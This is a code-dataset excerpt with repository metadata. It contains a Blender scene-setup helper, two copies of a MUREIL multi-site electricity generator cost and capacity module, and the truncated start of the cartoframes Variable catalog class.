scene.render.pixel_aspect_x = 1.0 scene.render.pixel_aspect_y = pixel_aspect def remove_useless_data(): for block in bpy.data.meshes: if block.users == 0: bpy.data.meshes.remove(block) for block in bpy.data.materials: if block.users == 0: bpy.data.materials.remove(block) for block in bpy.data.textures: if block.users == 0: bpy.data.textures.remove(block) for block in bpy.data.images: if block.users == 0: bpy.data.images.remove(block) def clear_all(): [ bpy.data.objects.remove(obj) for obj in bpy.data.objects if obj.type in ("MESH", "LIGHT", "CURVE") ] remove_useless_data() def set_shading_mode(mode="SOLID", screens=[]): screens = screens if screens else [bpy.context.screen] for s in screens: for spc in s.areas: if spc.type == "VIEW_3D": spc.spaces[0].shading.type = mode break def add_stage(size=2, transparency=False): import bpycv bpy.ops.mesh.primitive_cube_add(size=size, location=(0, 0, -size / 2)) stage = bpy.context.active_object stage.name = "stage" with bpycv.activate_obj(stage): bpy.ops.rigidbody.object_add() stage.rigid_body.type = "PASSIVE" if transparency: stage.rigid_body.use_margin = True stage.rigid_body.collision_margin = 0.04 stage.location.z -= stage.rigid_body.collision_margin material = bpy.data.materials.new("transparency_stage_bpycv") material.use_nodes = True material.node_tree.nodes.clear() with bpycv.activate_node_tree(material.node_tree): bpycv.Node("ShaderNodeOutputMaterial").Surface = bpycv.Node( "ShaderNodeBsdfPrincipled", Alpha=0 ).BSDF stage.data.materials.append(material) return stage if __name__ == "__main__": pass

true

f7018bb7234e923366e80dfdf0fde1be51c3f094

25,751

py

Python

generator/txmultigeneratormultisite.py

zarppy/MUREIL_2014

25ba16554ce8f614b9337e0fffce75da3fa259a4

[ "MIT" ]

null

generator/txmultigeneratormultisite.py

zarppy/MUREIL_2014

25ba16554ce8f614b9337e0fffce75da3fa259a4

[ "MIT" ]

null

generator/txmultigeneratormultisite.py

zarppy/MUREIL_2014

25ba16554ce8f614b9337e0fffce75da3fa259a4

[ "MIT" ]

null

# # # Copyright (C) University of Melbourne 2013 # # # #Permission is hereby granted, free of charge, to any person obtaining a copy #of this software and associated documentation files (the "Software"), to deal #in the Software without restriction, including without limitation the rights #to use, copy, modify, merge, publish, distribute, sublicense, and/or sell #copies of the Software, and to permit persons to whom the Software is #furnished to do so, subject to the following conditions: # #The above copyright notice and this permission notice shall be included in all #copies or substantial portions of the Software. # #THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR #IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, #FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE #AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER #LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, #OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE #SOFTWARE. # # """Module subclassing TxMultiGeneratorBase that provides an implementation for multi-site generators. """ from tools import mureilexception, mureilbuilder import copy import numpy from generator import txmultigeneratorbase import logging logger = logging.getLogger(__name__) class TxMultiGeneratorMultiSite(txmultigeneratorbase.TxMultiGeneratorBase): """Module subclassing TxMultiGeneratorBase that provides an implementation of state_handle and related handling functions for multi-site generators. The 'capacity' term in state_handle is implemented as a dict with one item per site. Each site item is a list of tuples containing (site_index,build_period,decommissioning_period), describing the set of installed capacity. """ def __init__(self): """Initialise as for the base class, and also initialise the params_to_site map. """ txmultigeneratorbase.TxMultiGeneratorBase.__init__(self) # params_to_site maps the index in the params list to the site indices. self.params_to_site = [] def get_config_spec(self): """Return a list of tuples of format (name, conversion function, default), e.g. ('capex', float, 2.0). Put None if no conversion required, or if no default value, e.g. ('name', None, None) Configuration: time_period_yrs: float - the length of the time period in years time_scale_up_mult: float - the value to multiply non-discounted items, such as carbon emissions, by to account for a shorter dataset than the calculation period length. variable_cost_mult: as for time_scale_up_mult, but may include a factor for cost discounting. size: float, optional - relates param to new capacity carbon_price_m: float - carbon price in $M/tonne startup_data_name: string, optional - the name of the data array that contains data on startup capacities. startup_data_string: string, optional - a python format data array suitable for input into set_startup_state, all on a single line. params_to_site_data_name: string, optional - the name of the data array that contains a list of how the input params list maps to site indices. params_to_site_data_string: list of integers, optional - the site indices, listed separated by spaces, defining the site index corresponding to each optimisation param, in order. vom: float, default 0 - variable operating and maintenance cost, in $/MWh, same for all sites capital_cost: float, default 0 - cost in $M per MW for new capacity. install_cost: float, default 0 - cost in $M per site, when site has an installation from this generator for the first time. decommissioning_cost: float, optional (default 0) - cost in $M per MW for decommissioning. lifetime_yrs: float, default 20 - the time in years that new capacity lasts """ return txmultigeneratorbase.TxMultiGeneratorBase.get_config_spec(self) + [ ('variable_cost_mult', float, 1.0), ('time_scale_up_mult', float, 1.0), ('carbon_price_m', float, 0.0), ('startup_data_name', None, ''), ('startup_data_string', mureilbuilder.python_eval, 'None'), ('params_to_site_data_name', None, ''), ('params_to_site_data_string', mureilbuilder.make_int_list, ''), ('decommissioning_cost', float, 0), ('vom', float, 0), ('capital_cost', float, 0), ('install_cost', float, 0), ('time_period_yrs', float, None), ('lifetime_yrs', float, 20), ('size', float, 1.0), ('start_min_param', int, 1e20), ('start_max_param', int, 1e20), ('timestep_hrs', float, None) ] def complete_configuration_pre_expand(self): """Complete the configuration prior to expanding the period configs. This implementation checks that the lifetime_yrs is a multiple of time_period_yrs, and sets the startup state and params_to_site from the configuration strings. """ time_period_yrs = self.config['time_period_yrs'] lifetime_yrs = self.config['lifetime_yrs'] error = None if isinstance(lifetime_yrs, dict): for value in lifetime_yrs.itervalues(): div = value / time_period_yrs if not (float(int(div)) == div): error = value else: div = lifetime_yrs / time_period_yrs if not (float(int(div)) == div): error = lifetime_yrs if error is not None: msg = ('In section ' + self.config['section'] + ', lifetime_yrs = ' + str(error) + ' which is required to be a multiple of time_period_yrs of ' + str(time_period_yrs)) raise mureilexception.ConfigException(msg, {}) # Set the startup state and the params to site from the configuration strings. if self.config['startup_data_string'] is not None: self.set_startup_state(self.config['startup_data_string']) if len(self.config['params_to_site_data_string']) > 0: self.params_to_site = self.config['params_to_site_data_string'] def get_data_types(self): """Return a list of keys for each type of data required, for example ts_wind, ts_demand. Outputs: data_type: list of strings - each a key name describing the data required for this generator. """ data_types = [] if len(self.config['startup_data_name']) > 0: data_types.append(self.config['startup_data_name']) if len(self.config['params_to_site_data_name']) > 0: data_types.append(self.config['params_to_site_data_name']) return data_types def set_data(self, data): """Set the data dict with the data series required for the generator. This implementation looks for the data types: self.config['startup_data_name']: Interpets this into the startup state, using the set_startup_state function. self.config['params_to_site_data_name']: Sets self.params_to_site to this. Inputs: data: dict - with keys matching those requested by get_data_types. """ startup_data_name = self.config['startup_data_name'] if (len(startup_data_name) > 0) and (startup_data_name in data): self.set_startup_state(data[startup_data_name]) params_to_site_name = self.config['params_to_site_data_name'] if (len(params_to_site_name) > 0) and (params_to_site_name in data): self.params_to_site = data[params_to_site_name] def set_startup_state(self, startup_data): """Set the startup state from the data provided. Sets self.startup_state from this. Inputs: startup_data: An array of generators * 4: [[site_index, capacity, build_date, decommissioning_period], ...] """ # Check if the startup data is empty. If so, just return. if len(startup_data) == 0: return # Find out which build periods are covered. startup_data = numpy.array(startup_data) if not (len(startup_data.shape) == 2): raise mureilexception.ConfigException('startup data array for module ' + self.config['section'] + ' is not rectangular.', {}) if not (startup_data.shape[1] == 4): raise mureilexception.ConfigException('startup data array for module ' + self.config['section'] + ' shape ' + str(startup_data.shape) + ' but (n, 4) is required.', {}) self.extra_periods = map(int, (list(set(startup_data[:,2].tolist() + self.extra_periods)))) self.extra_periods.sort() # And insert each existing generator into the starting state. cap_list = self.startup_state['capacity'] hist_list = self.startup_state['history'] for i in range(startup_data.shape[0]): site_index = int(startup_data[i, 0]) new_cap = startup_data[i, 1] period = int(startup_data[i, 2]) decomm_date = int(startup_data[i, 3]) new_entry = (new_cap, period, decomm_date) if decomm_date < self.run_periods[0]: logger.warning('Model in section ' + self.config['section'] + ' adds startup capacity decommissioned at end of ' + decomm_date + ' but the first run period is ' + self.run_periods[0] + ' so it has been removed from the startup state.') if site_index not in hist_list: hist_list[site_index] = [] hist_list[site_index].append(new_entry) else: new_entry = (new_cap, period, decomm_date) if site_index not in cap_list: cap_list[site_index] = [] cap_list[site_index].append(new_entry) def get_param_count(self): """Return the number of parameters that this generator, as configured, requires to be optimised, per time period. Outputs: param_count: non-negative integer - the number of parameters required per time period. """ return len(self.params_to_site) def get_param_starts(self): """Return two nested lists - one for min, one max, for starting values for the params. Must be either [[]] or [len(run_periods),param_count]. Outputs: min_start_list: list of param integers, or [[]] max_start_list: list of param integers, or [[]] """ param_count = self.get_param_count() period_count = len(self.run_periods) if param_count > 0: if (self.config['start_min_param'] == 1e20): start_mins = [[]] else: start_mins = (numpy.ones((period_count, param_count)) * self.config['start_min_param']).tolist() if (self.config['start_max_param'] == 1e20): start_maxs = [[]] else: start_maxs = (numpy.ones((period_count, param_count)) * self.config['start_max_param']).tolist() else: start_mins = [[]] start_maxs = [[]] return start_mins, start_maxs def update_state_new_period_list(self, state_handle, period, new_capacity): """Implements update_state_new_period_list as defined in txmultigeneratorbase, for the state_handle format for this multi-site implementation. """ state_handle['curr_period'] = period cap_list = state_handle['capacity'] for site_index, new_cap, decomm_date in new_capacity: site_index = int(site_index) new_entry = (new_cap, period, int(decomm_date)) if site_index not in cap_list: cap_list[site_index] = [] cap_list[site_index].append(new_entry) return None def update_state_new_period_params(self, state_handle, period, new_params): """Implements update_state_new_period_params as defined in txmultigeneratorbase, for the state_handle format for this multi-site implementation. Filters any negative new_params values to 0. """ state_handle['curr_period'] = period curr_conf = self.period_configs[period] decomm_date = int(curr_conf['lifetime_yrs'] - curr_conf['time_period_yrs'] + period) cap_list = state_handle['capacity'] new_cap = numpy.array(new_params).clip(0) * curr_conf['size'] for i in (numpy.nonzero(new_cap)[0]): site_index = self.params_to_site[i] new_entry = (new_cap[i], period, decomm_date) if site_index not in cap_list: cap_list[site_index] = [] cap_list[site_index].append(new_entry) return None def calculate_update_decommission(self, state_handle): """Implements update_decommission as defined in txmultigeneratorbase, for the state_handle format for this multi-site implementation. """ period = state_handle['curr_period'] cap_list = state_handle['capacity'] hist_list = state_handle['history'] total_cost = 0.0 sites = [] cost = [] decommissioned = [] fully_decommissioned = [] decomm_cost = self.period_configs[period]['decommissioning_cost'] for site, site_caps in cap_list.iteritems(): decomm = [tup for tup in site_caps if (tup[2] == period)] if len(decomm) > 0: sites.append(site) decom_cap = sum([tup[0] for tup in decomm]) decommissioned.append(decom_cap) this_cost = decom_cap * decomm_cost cost.append(this_cost) total_cost += this_cost # add the decommissioned capacity to the 'history' list if not site in hist_list: hist_list[site] = [] hist_list[site] += decomm # and rebuild the list of what's left # note that the expression in here is the complement of that to compute # decomm above. new_list = [tup for tup in site_caps if not (tup[2] == period)] # if all capacity is gone from this site if len(new_list) == 0: fully_decommissioned.append(site) else: cap_list[site] = new_list for site in fully_decommissioned: del cap_list[site] return total_cost, zip(sites, decommissioned, cost) def calculate_new_capacity_cost(self, state_handle): """Implements calculate_new_capacity_cost as defined in TxMultiGeneratorBase, for the state_handle format for this multi-site implementation. Calculates the cost as a simple multiple of the new capacity size. """ period = state_handle['curr_period'] cap_list = state_handle['capacity'] hist_list = state_handle['history'] total_cost = 0.0 sites = [] cost = [] new_capacity = [] for site, value in cap_list.iteritems(): try: hist = hist_list[site] except KeyError: hist = [] this_cost, new_cap = self.calculate_capital_cost_site( (value, hist), period, site) if new_cap > 0: sites.append(site) new_capacity.append(new_cap) cost.append(this_cost) total_cost += this_cost return total_cost, zip(sites, new_capacity, cost) def calculate_capital_cost_site(self, site_data, period, site): """"Calculate the incremental capital cost incurred in this period by the new capacity, for this site. This is a useful function for generators to override to implement cost functions that depend on the existing installed capacity. This function charges a per-MW cost plus an install figure if all the current capacity is new, and the site has not been used before for this type of generator. Inputs: site_data: a pair of lists - (current_capacity, history), each a list of tuples of (capacity, build, decom) from the state_handle. period: the current period, an integer site: the site index Outputs: cost: the cost in $M of this new capacity new_capacity: the total new capacity installed at this site """ new_cap_list = [tup[0] for tup in site_data[0] if (tup[1] == period)] new_cap = sum(new_cap_list) capacity_cost = self.period_configs[period]['capital_cost'] this_cost = new_cap * capacity_cost install_cost = self.period_configs[period]['install_cost'] if install_cost > 0: # check if all the current capacity is new if len(new_cap_list) == len(site_data[0]): # and check if the site has been used before, ever if len(site_data[1]) == 0: # the site is new, so charge the 'install' as well this_cost += install_cost return this_cost, new_cap def get_capacity(self, state_handle): """Implement the get_capacity function as defined in TxMultiGeneratorBase, for this multi-site implementation. """ index_list = self.get_site_indices(state_handle) cap_list = state_handle['capacity'] capacity = [] for site in index_list: capacity.append(sum([tup[0] for tup in cap_list[site]])) return capacity def get_site_indices(self, state_handle): """Implement the get_site_indices function as defined in TxMultiGeneratorBase, for this multi-site implementation. """ site_indices = state_handle['capacity'].keys() site_indices.sort() return site_indices def calculate_time_period_simple(self, state_handle, period, new_params, supply_request, full_results=False): """Implement calculate_time_period_simple as defined in TxMultiGeneratorBase for the multi-site generator model. """ curr_config = self.period_configs[period] # Update the state and get the calculations for each site self.update_state_new_period_params(state_handle, period, new_params) site_indices = self.get_site_indices(state_handle) capital_cost, new_capacity = self.calculate_new_capacity_cost(state_handle) supply_list, variable_cost_list, carbon_emissions_list, other_list = ( self.calculate_outputs_and_costs(state_handle, supply_request)) if full_results: capacity = self.get_capacity(state_handle) # Compute the total supply supply = numpy.sum(supply_list, axis=0) # Compute the total variable costs, including carbon cost, for the timeseries, scaled up cost = ((numpy.sum(variable_cost_list, axis=0) + (numpy.sum(carbon_emissions_list, axis=0) * curr_config['carbon_price_m'])) * ( curr_config['variable_cost_mult'])) # Do the decommissioning decomm_cost, decommissioned = self.calculate_update_decommission(state_handle) # Add the capital and decommissioning costs cost += decomm_cost cost += capital_cost if not full_results: return site_indices, cost, supply if full_results: results = {} results['site_indices'] = site_indices results['cost'] = cost results['aggregate_supply'] = supply results['capacity'] = capacity results['decommissioned'] = decommissioned results['new_capacity'] = new_capacity results['supply'] = supply_list results['variable_cost_period'] = variable_cost_list * curr_config['variable_cost_mult'] results['carbon_emissions_period'] = (carbon_emissions_list * curr_config['time_scale_up_mult']) results['total_supply_period'] = (curr_config['time_scale_up_mult'] * numpy.sum(supply) * curr_config['timestep_hrs']) results['other'] = other_list results['desc_string'] = self.get_simple_desc_string(results, state_handle) return site_indices, cost, supply, results def calculate_time_period_full(self, state_handle, period, new_params, supply_request, max_supply=[], price=[], make_string=False, do_decommissioning=True): """Implement calculate_time_period_full as defined in TxMultiGeneratorBase for the multi-site generator model. """ results = {} self.update_state_new_period_params(state_handle, period, new_params) results['site_indices'] = self.get_site_indices(state_handle) results['capacity'] = self.get_capacity(state_handle) dummy, results['new_capacity'] = self.calculate_new_capacity_cost(state_handle) results['supply'], results['variable_cost_ts'], results['carbon_emissions_ts'], results['other'] = ( self.calculate_outputs_and_costs(state_handle, supply_request, max_supply, price)) if do_decommissioning: dummy, results['decommissioned'] = ( self.calculate_update_decommissioning(state_handle)) else: results['decommissioned'] = [] if make_string: results['desc_string'] = self.get_full_desc_string(results, state_handle) return results def recalculate_time_period_full(self, state_handle, results, supply_request, max_supply=[], price=[], make_string=False): """Implement recalculate_time_period_full as defined in TxMultiGeneratorBase for the multi-site generator model. """ results['supply'], results['variable_cost_ts'], results['carbon_emissions_ts'], results['other'] = ( self.calculate_outputs_and_costs(state_handle, supply_request, max_supply, price)) if make_string: results['desc_string'] = self.get_full_desc_string(results, state_handle) return results else: return results def calculate_costs_from_schedule_and_finalise(self, state_handle, schedule, make_string=False): """Calculate the costs, given the schedule from the dispatcher. Finalise the decommissioning for that period. This assumes that update_state_new_period_params has been called previously, and the offer quantities have been determined for the active sites. Inputs: state_handle: as for calculate_time_period_full in txmultigeneratorbase.py schedule: a set of timeseries for each active site, as previously listed in the call to get_offers_* Outputs: as for calculate_time_period_full in txmultigeneratorbase.py """ results = {} site_indices = self.get_site_indices(state_handle) results['site_indices'] = site_indices results['capacity'] = self.get_capacity(state_handle) results['new_capacity_total_cost'], results['new_capacity'] = self.calculate_new_capacity_cost(state_handle) results['supply'] = schedule results['variable_cost_ts'], results['carbon_emissions_ts'], results['other'] = ( self.calculate_variable_costs(state_handle, site_indices, schedule)) results['decomm_total_cost'], results['decommissioned'] = ( self.calculate_update_decommission(state_handle)) if make_string: results['desc_string'] = self.get_full_desc_string(results, state_handle) return results

41.533871

127

0.604015

from tools import mureilexception, mureilbuilder import copy import numpy from generator import txmultigeneratorbase import logging logger = logging.getLogger(__name__) class TxMultiGeneratorMultiSite(txmultigeneratorbase.TxMultiGeneratorBase): def __init__(self): txmultigeneratorbase.TxMultiGeneratorBase.__init__(self) self.params_to_site = [] def get_config_spec(self): return txmultigeneratorbase.TxMultiGeneratorBase.get_config_spec(self) + [ ('variable_cost_mult', float, 1.0), ('time_scale_up_mult', float, 1.0), ('carbon_price_m', float, 0.0), ('startup_data_name', None, ''), ('startup_data_string', mureilbuilder.python_eval, 'None'), ('params_to_site_data_name', None, ''), ('params_to_site_data_string', mureilbuilder.make_int_list, ''), ('decommissioning_cost', float, 0), ('vom', float, 0), ('capital_cost', float, 0), ('install_cost', float, 0), ('time_period_yrs', float, None), ('lifetime_yrs', float, 20), ('size', float, 1.0), ('start_min_param', int, 1e20), ('start_max_param', int, 1e20), ('timestep_hrs', float, None) ] def complete_configuration_pre_expand(self): time_period_yrs = self.config['time_period_yrs'] lifetime_yrs = self.config['lifetime_yrs'] error = None if isinstance(lifetime_yrs, dict): for value in lifetime_yrs.itervalues(): div = value / time_period_yrs if not (float(int(div)) == div): error = value else: div = lifetime_yrs / time_period_yrs if not (float(int(div)) == div): error = lifetime_yrs if error is not None: msg = ('In section ' + self.config['section'] + ', lifetime_yrs = ' + str(error) + ' which is required to be a multiple of time_period_yrs of ' + str(time_period_yrs)) raise mureilexception.ConfigException(msg, {}) if self.config['startup_data_string'] is not None: self.set_startup_state(self.config['startup_data_string']) if len(self.config['params_to_site_data_string']) > 0: self.params_to_site = self.config['params_to_site_data_string'] def get_data_types(self): data_types = [] if len(self.config['startup_data_name']) > 0: data_types.append(self.config['startup_data_name']) if len(self.config['params_to_site_data_name']) > 0: data_types.append(self.config['params_to_site_data_name']) return data_types def set_data(self, data): startup_data_name = self.config['startup_data_name'] if (len(startup_data_name) > 0) and (startup_data_name in data): self.set_startup_state(data[startup_data_name]) params_to_site_name = self.config['params_to_site_data_name'] if (len(params_to_site_name) > 0) and (params_to_site_name in data): self.params_to_site = data[params_to_site_name] def set_startup_state(self, startup_data): if len(startup_data) == 0: return startup_data = numpy.array(startup_data) if not (len(startup_data.shape) == 2): raise mureilexception.ConfigException('startup data array for module ' + self.config['section'] + ' is not rectangular.', {}) if not (startup_data.shape[1] == 4): raise mureilexception.ConfigException('startup data array for module ' + self.config['section'] + ' shape ' + str(startup_data.shape) + ' but (n, 4) is required.', {}) self.extra_periods = map(int, (list(set(startup_data[:,2].tolist() + self.extra_periods)))) self.extra_periods.sort() cap_list = self.startup_state['capacity'] hist_list = self.startup_state['history'] for i in range(startup_data.shape[0]): site_index = int(startup_data[i, 0]) new_cap = startup_data[i, 1] period = int(startup_data[i, 2]) decomm_date = int(startup_data[i, 3]) new_entry = (new_cap, period, decomm_date) if decomm_date < self.run_periods[0]: logger.warning('Model in section ' + self.config['section'] + ' adds startup capacity decommissioned at end of ' + decomm_date + ' but the first run period is ' + self.run_periods[0] + ' so it has been removed from the startup state.') if site_index not in hist_list: hist_list[site_index] = [] hist_list[site_index].append(new_entry) else: new_entry = (new_cap, period, decomm_date) if site_index not in cap_list: cap_list[site_index] = [] cap_list[site_index].append(new_entry) def get_param_count(self): return len(self.params_to_site) def get_param_starts(self): param_count = self.get_param_count() period_count = len(self.run_periods) if param_count > 0: if (self.config['start_min_param'] == 1e20): start_mins = [[]] else: start_mins = (numpy.ones((period_count, param_count)) * self.config['start_min_param']).tolist() if (self.config['start_max_param'] == 1e20): start_maxs = [[]] else: start_maxs = (numpy.ones((period_count, param_count)) * self.config['start_max_param']).tolist() else: start_mins = [[]] start_maxs = [[]] return start_mins, start_maxs def update_state_new_period_list(self, state_handle, period, new_capacity): state_handle['curr_period'] = period cap_list = state_handle['capacity'] for site_index, new_cap, decomm_date in new_capacity: site_index = int(site_index) new_entry = (new_cap, period, int(decomm_date)) if site_index not in cap_list: cap_list[site_index] = [] cap_list[site_index].append(new_entry) return None def update_state_new_period_params(self, state_handle, period, new_params): state_handle['curr_period'] = period curr_conf = self.period_configs[period] decomm_date = int(curr_conf['lifetime_yrs'] - curr_conf['time_period_yrs'] + period) cap_list = state_handle['capacity'] new_cap = numpy.array(new_params).clip(0) * curr_conf['size'] for i in (numpy.nonzero(new_cap)[0]): site_index = self.params_to_site[i] new_entry = (new_cap[i], period, decomm_date) if site_index not in cap_list: cap_list[site_index] = [] cap_list[site_index].append(new_entry) return None def calculate_update_decommission(self, state_handle): period = state_handle['curr_period'] cap_list = state_handle['capacity'] hist_list = state_handle['history'] total_cost = 0.0 sites = [] cost = [] decommissioned = [] fully_decommissioned = [] decomm_cost = self.period_configs[period]['decommissioning_cost'] for site, site_caps in cap_list.iteritems(): decomm = [tup for tup in site_caps if (tup[2] == period)] if len(decomm) > 0: sites.append(site) decom_cap = sum([tup[0] for tup in decomm]) decommissioned.append(decom_cap) this_cost = decom_cap * decomm_cost cost.append(this_cost) total_cost += this_cost if not site in hist_list: hist_list[site] = [] hist_list[site] += decomm # note that the expression in here is the complement of that to compute # decomm above. new_list = [tup for tup in site_caps if not (tup[2] == period)] # if all capacity is gone from this site if len(new_list) == 0: fully_decommissioned.append(site) else: cap_list[site] = new_list for site in fully_decommissioned: del cap_list[site] return total_cost, zip(sites, decommissioned, cost) def calculate_new_capacity_cost(self, state_handle): period = state_handle['curr_period'] cap_list = state_handle['capacity'] hist_list = state_handle['history'] total_cost = 0.0 sites = [] cost = [] new_capacity = [] for site, value in cap_list.iteritems(): try: hist = hist_list[site] except KeyError: hist = [] this_cost, new_cap = self.calculate_capital_cost_site( (value, hist), period, site) if new_cap > 0: sites.append(site) new_capacity.append(new_cap) cost.append(this_cost) total_cost += this_cost return total_cost, zip(sites, new_capacity, cost) def calculate_capital_cost_site(self, site_data, period, site): new_cap_list = [tup[0] for tup in site_data[0] if (tup[1] == period)] new_cap = sum(new_cap_list) capacity_cost = self.period_configs[period]['capital_cost'] this_cost = new_cap * capacity_cost install_cost = self.period_configs[period]['install_cost'] if install_cost > 0: # check if all the current capacity is new if len(new_cap_list) == len(site_data[0]): # and check if the site has been used before, ever if len(site_data[1]) == 0: # the site is new, so charge the 'install' as well this_cost += install_cost return this_cost, new_cap def get_capacity(self, state_handle): index_list = self.get_site_indices(state_handle) cap_list = state_handle['capacity'] capacity = [] for site in index_list: capacity.append(sum([tup[0] for tup in cap_list[site]])) return capacity def get_site_indices(self, state_handle): site_indices = state_handle['capacity'].keys() site_indices.sort() return site_indices def calculate_time_period_simple(self, state_handle, period, new_params, supply_request, full_results=False): curr_config = self.period_configs[period] # Update the state and get the calculations for each site self.update_state_new_period_params(state_handle, period, new_params) site_indices = self.get_site_indices(state_handle) capital_cost, new_capacity = self.calculate_new_capacity_cost(state_handle) supply_list, variable_cost_list, carbon_emissions_list, other_list = ( self.calculate_outputs_and_costs(state_handle, supply_request)) if full_results: capacity = self.get_capacity(state_handle) # Compute the total supply supply = numpy.sum(supply_list, axis=0) # Compute the total variable costs, including carbon cost, for the timeseries, scaled up cost = ((numpy.sum(variable_cost_list, axis=0) + (numpy.sum(carbon_emissions_list, axis=0) * curr_config['carbon_price_m'])) * ( curr_config['variable_cost_mult'])) # Do the decommissioning decomm_cost, decommissioned = self.calculate_update_decommission(state_handle) # Add the capital and decommissioning costs cost += decomm_cost cost += capital_cost if not full_results: return site_indices, cost, supply if full_results: results = {} results['site_indices'] = site_indices results['cost'] = cost results['aggregate_supply'] = supply results['capacity'] = capacity results['decommissioned'] = decommissioned results['new_capacity'] = new_capacity results['supply'] = supply_list results['variable_cost_period'] = variable_cost_list * curr_config['variable_cost_mult'] results['carbon_emissions_period'] = (carbon_emissions_list * curr_config['time_scale_up_mult']) results['total_supply_period'] = (curr_config['time_scale_up_mult'] * numpy.sum(supply) * curr_config['timestep_hrs']) results['other'] = other_list results['desc_string'] = self.get_simple_desc_string(results, state_handle) return site_indices, cost, supply, results def calculate_time_period_full(self, state_handle, period, new_params, supply_request, max_supply=[], price=[], make_string=False, do_decommissioning=True): results = {} self.update_state_new_period_params(state_handle, period, new_params) results['site_indices'] = self.get_site_indices(state_handle) results['capacity'] = self.get_capacity(state_handle) dummy, results['new_capacity'] = self.calculate_new_capacity_cost(state_handle) results['supply'], results['variable_cost_ts'], results['carbon_emissions_ts'], results['other'] = ( self.calculate_outputs_and_costs(state_handle, supply_request, max_supply, price)) if do_decommissioning: dummy, results['decommissioned'] = ( self.calculate_update_decommissioning(state_handle)) else: results['decommissioned'] = [] if make_string: results['desc_string'] = self.get_full_desc_string(results, state_handle) return results def recalculate_time_period_full(self, state_handle, results, supply_request, max_supply=[], price=[], make_string=False): results['supply'], results['variable_cost_ts'], results['carbon_emissions_ts'], results['other'] = ( self.calculate_outputs_and_costs(state_handle, supply_request, max_supply, price)) if make_string: results['desc_string'] = self.get_full_desc_string(results, state_handle) return results else: return results def calculate_costs_from_schedule_and_finalise(self, state_handle, schedule, make_string=False): results = {} site_indices = self.get_site_indices(state_handle) results['site_indices'] = site_indices results['capacity'] = self.get_capacity(state_handle) results['new_capacity_total_cost'], results['new_capacity'] = self.calculate_new_capacity_cost(state_handle) results['supply'] = schedule results['variable_cost_ts'], results['carbon_emissions_ts'], results['other'] = ( self.calculate_variable_costs(state_handle, site_indices, schedule)) results['decomm_total_cost'], results['decommissioned'] = ( self.calculate_update_decommission(state_handle)) if make_string: results['desc_string'] = self.get_full_desc_string(results, state_handle) return results

true

f7018c4dff48a441d964a2ebd1a3bec5932d5d50

6,704

py

Python

cartoframes/data/observatory/catalog/variable.py

CartoDB/cartoframes

7c7392be5d15d0472ff428546c4791ed1a3842b0

[ "BSD-3-Clause" ]

236

2017-02-28T15:17:09.000Z

2021-12-28T23:29:38.000Z

cartoframes/data/observatory/catalog/variable.py

CartoDB/cartoframes

7c7392be5d15d0472ff428546c4791ed1a3842b0

[ "BSD-3-Clause" ]

1,332

2017-02-27T15:34:52.000Z

2022-03-07T01:31:10.000Z

cartoframes/data/observatory/catalog/variable.py

CartoDB/cartoframes

7c7392be5d15d0472ff428546c4791ed1a3842b0

[ "BSD-3-Clause" ]

63

2017-03-14T19:02:37.000Z

2021-08-03T03:36:05.000Z

import pandas as pd from .entity import CatalogEntity from .repository.dataset_repo import get_dataset_repo from .repository.variable_repo import get_variable_repo from .repository.constants import VARIABLE_FILTER from .summary import variable_describe, head, tail, counts, quantiles, top_values, histogram _DESCRIPTION_LENGTH_LIMIT = 50 class Variable(CatalogEntity): """This class represents a :py:class:`Variable <cartoframes.data.observatory.Variable>` of datasets in the :py:class:`Catalog <cartoframes.data.observatory.Catalog>`. Variables contain column names, description, data type, aggregation method, and some other metadata that is useful to understand the underlying data inside a :obj:`Dataset` Examples: List the variables of a :py:class:`Dataset <cartoframes.data.observatory.Dataset>` in combination with nested filters (categories, countries, etc.) >>> dataset = Dataset.get('mbi_retail_turn_705247a') >>> dataset.variables [<Variable.get('RT_CI_95050c10')> #'Retail Turnover: index (country eq.100)', ...] """ _entity_repo = get_variable_repo() @property def datasets(self): """Get the list of datasets related to this variable. Returns: :py:class:`CatalogList <cartoframes.data.observatory.entity.CatalogList>` List of Dataset instances. Raises: CatalogError: if there's a problem when connecting to the catalog or no datasets are found. """ return get_dataset_repo().get_all({VARIABLE_FILTER: self.id}) @property def name(self): """Name of this variable.""" return self.data['name'] @property def description(self): """Description of this variable.""" return self.data['description'] @property def column_name(self): """Column name of the actual table related to the variable in the :obj:`Dataset`.""" return self.data['column_name'] @property def db_type(self): """Type in the database. Returns: str Examples: INTEGER, STRING, FLOAT, GEOGRAPHY, JSON, BOOL, etc. """ return self.data['db_type'] @property def dataset(self): """ID of the :obj:`Dataset` to which this variable belongs.""" return self.data['dataset_id'] @property def agg_method(self): """Text representing a description of the aggregation method used to compute the values in this `Variable`""" return self.data['agg_method'] @property def variable_group(self): """If any, ID of the variable group to which this variable belongs.""" return self.data['variable_group_id'] @property def summary(self): """JSON object with extra metadata that summarizes different properties of this variable.""" return self.data['summary_json'] @property def project_name(self): project, _, _, _ = self.id.split('.') return project @property def schema_name(self): _, schema, _, _ = self.id.split('.') return schema @property def dataset_name(self): _, _, dataset, _ = self.id.split('.') return dataset def describe(self, autoformat=True): """Shows a summary of the actual stats of the variable (column) of the dataset. Some of the stats provided per variable are: avg, max, min, sum, range, stdev, q1, q3, median and interquartile_range Args: autoformat (boolean): set automatic format for values. Default is True. Example: .. code:: # avg average value # max max value # min min value # sum sum of all values # range # stdev standard deviation # q1 first quantile # q3 third quantile # median median value # interquartile_range """ FLOAT_FORMAT = 'display.float_format' if autoformat: pd.set_option(FLOAT_FORMAT, lambda x: '%.3f' % x) data = self.data['summary_json'] return variable_describe(data) def head(self): """Returns a sample of the 10 first values of the variable data. For the cases of datasets with a content fewer than 10 rows (i.e. zip codes of small countries), this method won't return anything """ data = self.data['summary_json'] return head(self.__class__, data) def tail(self): """Returns a sample of the 10 last values of the variable data. For the cases of datasets with a content fewer than 10 rows (i.e. zip codes of small countries), this method won't return anything """ data = self.data['summary_json'] return tail(self.__class__, data) def counts(self): """Returns a summary of different counts over the actual variable values. Example: .. code:: # all total number of values # null total number of null values # zero number of zero-valued entries # 